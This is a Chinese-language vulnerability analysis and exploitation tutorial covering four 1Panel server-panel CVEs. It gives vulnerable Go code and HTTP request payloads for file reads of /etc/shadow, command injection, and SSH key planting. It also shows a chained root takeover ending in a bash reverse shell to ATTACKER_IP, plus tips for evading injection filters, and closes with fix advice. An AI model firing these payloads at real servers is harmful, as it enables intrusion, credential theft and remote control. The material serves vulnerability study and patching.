1Panel系列漏洞分析
字数 1333 2025-08-23 18:31:09

1Panel系列漏洞分析与利用教学文档

1. 1Panel框架概述

1Panel是一个基于Gin框架开发的Web管理面板,主要用于服务器管理。其核心功能包括文件管理、防火墙管理、容器管理等。

1.1 路由架构分析

1Panel使用Gin框架构建,主要路由初始化在server.gorouter包中:

func Start() {
    // 初始化各种组件
    rootRouter := router.Routers()
    address := fmt.Sprintf(":%s", global.CONF.System.Port)
    s := endless.NewServer(address, rootRouter)
    // 启动HTTP/HTTPS服务
}

func Routers() *gin.Engine {
    Router := gin.Default()
    // 中间件配置
    systemRouter := rou.RouterGroupApp
    PrivateGroup := Router.Group("/api/v1")
    {
        systemRouter.InitBaseRouter(PrivateGroup)
        systemRouter.InitFileRouter(PrivateGroup)
        systemRouter.InitHostRouter(PrivateGroup)
        // 其他路由初始化
    }
    return Router
}

2. 漏洞分析

2.1 任意文件下载漏洞 (CVE-2023-39965)

漏洞位置files路由组中的/download/bypath路由

漏洞代码

func (b *BaseApi) DownloadFile(c *gin.Context) {
    var req dto.FilePath
    if err := c.ShouldBindJSON(&req); err != nil {
        // 错误处理
    }
    if err := global.VALID.Struct(req); err != nil {
        // 错误处理
    }
    c.File(req.Path) // 直接使用用户提供的路径
}

漏洞原理

  • 直接使用用户提供的Path参数调用c.File()
  • 未对路径进行任何过滤或限制
  • 可读取服务器上任意文件

利用方法

POST /api/v1/files/download/bypath
Content-Type: application/json

{
    "path": "/etc/passwd"
}

2.2 任意文件读取漏洞 (CVE-2023-39964)

漏洞位置files路由组中的/loadfile路由

漏洞代码

func (b *BaseApi) LoadFromFile(c *gin.Context) {
    var req dto.FilePath
    if err := c.ShouldBindJSON(&req); err != nil {
        // 错误处理
    }
    if err := global.VALID.Struct(req); err != nil {
        // 错误处理
    }
    content, err := os.ReadFile(req.Path) // 直接读取用户提供的路径
    if err != nil {
        // 错误处理
    }
    helper.SuccessWithData(c, string(content))
}

漏洞原理

  • 直接使用os.ReadFile()读取用户提供的路径
  • 未对路径进行过滤
  • 可读取服务器上任意文件内容

利用方法

POST /api/v1/files/loadfile
Content-Type: application/json

{
    "path": "/etc/shadow"
}

2.3 任意命令注入漏洞 (CVE-2023-37477)

漏洞位置hosts路由组中的/firewall/ip路由

漏洞代码

func (f *Firewall) RichRules(rule FireInfo, operation string) error {
    // ...
    stdout, err := cmd.Execf("firewall-cmd --zone=public --%s-rich-rule '%s' --permanent", 
        operation, ruleStr)
    // ...
}

漏洞原理

  • 用户提供的Address参数最终拼接进firewall-cmd命令
  • 未对输入进行过滤
  • 可通过命令注入执行任意系统命令

利用方法

POST /api/v1/hosts/firewall/ip
Content-Type: application/json

{
    "address": "127.0.0.1;id;",
    "operation": "add",
    "strategy": "accept"
}

2.4 任意文件写入漏洞 (CVE-2023-39966)

漏洞位置files路由组中的/save路由

漏洞代码

func (f *FileService) SaveContent(edit request.FileEdit) error {
    info, err := files.NewFileInfo(files.FileOption{
        Path: edit.Path,
        Expand: false, // 不展开路径
    })
    fo := files.NewFileOp()
    return fo.WriteFile(edit.Path, strings.NewReader(edit.Content), info.FileMode)
}

漏洞原理

  • 用户可控制写入的文件路径和内容
  • 虽然Expand: false限制了相对路径,但仍可使用绝对路径
  • 可覆盖服务器上任意文件

利用方法

POST /api/v1/files/save
Content-Type: application/json

{
    "path": "/root/.ssh/authorized_keys",
    "content": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..."
}

3. 漏洞利用实战

3.1 组合利用实现权限提升

  1. 信息收集

    • 使用任意文件读取获取/etc/passwd了解系统用户
    • 读取/proc/self/environ获取环境变量
  2. 写入SSH公钥

    • 生成SSH密钥对:ssh-keygen -t rsa -b 4096
    • 使用任意文件写入将公钥写入/root/.ssh/authorized_keys
  3. 获取Shell

    • 使用命令注入执行反向Shell:
    {
        "address": "127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;",
        "operation": "add",
        "strategy": "accept"
    }
    

3.2 防御绕过技巧

  1. 路径限制绕过

    • 使用绝对路径
    • 使用符号链接目标文件
  2. 命令注入技巧

    • 使用$(cmd)代替;cmd;
    • 使用反引号`cmd`
    • 使用编码或混淆的命令

4. 修复建议

  1. 输入验证

    • 对所有用户输入进行严格验证
    • 使用白名单限制允许的字符和格式
  2. 安全函数

    • 文件操作使用安全函数限制路径
    • 命令执行使用参数化查询
  3. 权限控制

    • 运行服务使用最低权限用户
    • 限制可访问的文件系统区域
  4. 具体修复代码示例

// 文件操作添加路径检查
func safePath(path string) error {
    if !filepath.IsAbs(path) {
        return errors.New("relative paths not allowed")
    }
    if strings.Contains(path, "..") {
        return errors.New("parent directory traversal not allowed")
    }
    return nil
}

// 命令执行使用exec.Command
func safeExec(command string, args ...string) (string, error) {
    cmd := exec.Command(command, args...)
    out, err := cmd.CombinedOutput()
    return string(out), err
}

5. 参考资源

  1. 官方漏洞公告:

    • CVE-2023-39965
    • CVE-2023-39964
    • CVE-2023-37477
    • CVE-2023-39966
  2. 相关技术:

    • Gin框架安全实践
    • Linux文件系统权限模型
    • 防火墙命令注入防御
  3. 测试工具:

    • Swagger UI (用于构造API请求)
    • Burp Suite (用于拦截和修改请求)
    • Nmap (用于服务发现)
1Panel系列漏洞分析与利用教学文档 1. 1Panel框架概述 1Panel是一个基于Gin框架开发的Web管理面板,主要用于服务器管理。其核心功能包括文件管理、防火墙管理、容器管理等。 1.1 路由架构分析 1Panel使用Gin框架构建,主要路由初始化在 server.go 和 router 包中: 2. 漏洞分析 2.1 任意文件下载漏洞 (CVE-2023-39965) 漏洞位置 : files 路由组中的 /download/bypath 路由 漏洞代码 : 漏洞原理 : 直接使用用户提供的 Path 参数调用 c.File() 未对路径进行任何过滤或限制 可读取服务器上任意文件 利用方法 : 2.2 任意文件读取漏洞 (CVE-2023-39964) 漏洞位置 : files 路由组中的 /loadfile 路由 漏洞代码 : 漏洞原理 : 直接使用 os.ReadFile() 读取用户提供的路径 未对路径进行过滤 可读取服务器上任意文件内容 利用方法 : 2.3 任意命令注入漏洞 (CVE-2023-37477) 漏洞位置 : hosts 路由组中的 /firewall/ip 路由 漏洞代码 : 漏洞原理 : 用户提供的 Address 参数最终拼接进 firewall-cmd 命令 未对输入进行过滤 可通过命令注入执行任意系统命令 利用方法 : 2.4 任意文件写入漏洞 (CVE-2023-39966) 漏洞位置 : files 路由组中的 /save 路由 漏洞代码 : 漏洞原理 : 用户可控制写入的文件路径和内容 虽然 Expand: false 限制了相对路径,但仍可使用绝对路径 可覆盖服务器上任意文件 利用方法 : 3. 漏洞利用实战 3.1 组合利用实现权限提升 信息收集 : 使用任意文件读取获取 /etc/passwd 了解系统用户 读取 /proc/self/environ 获取环境变量 写入SSH公钥 : 生成SSH密钥对: ssh-keygen -t rsa -b 4096 使用任意文件写入将公钥写入 /root/.ssh/authorized_keys 获取Shell : 使用命令注入执行反向Shell: 3.2 防御绕过技巧 路径限制绕过 : 使用绝对路径 使用符号链接目标文件 命令注入技巧 : 使用 $(cmd) 代替 ;cmd; 使用反引号 `cmd` 使用编码或混淆的命令 4. 修复建议 输入验证 : 对所有用户输入进行严格验证 使用白名单限制允许的字符和格式 安全函数 : 文件操作使用安全函数限制路径 命令执行使用参数化查询 权限控制 : 运行服务使用最低权限用户 限制可访问的文件系统区域 具体修复代码示例 : 5. 参考资源 官方漏洞公告: CVE-2023-39965 CVE-2023-39964 CVE-2023-37477 CVE-2023-39966 相关技术: Gin框架安全实践 Linux文件系统权限模型 防火墙命令注入防御 测试工具: Swagger UI (用于构造API请求) Burp Suite (用于拦截和修改请求) Nmap (用于服务发现)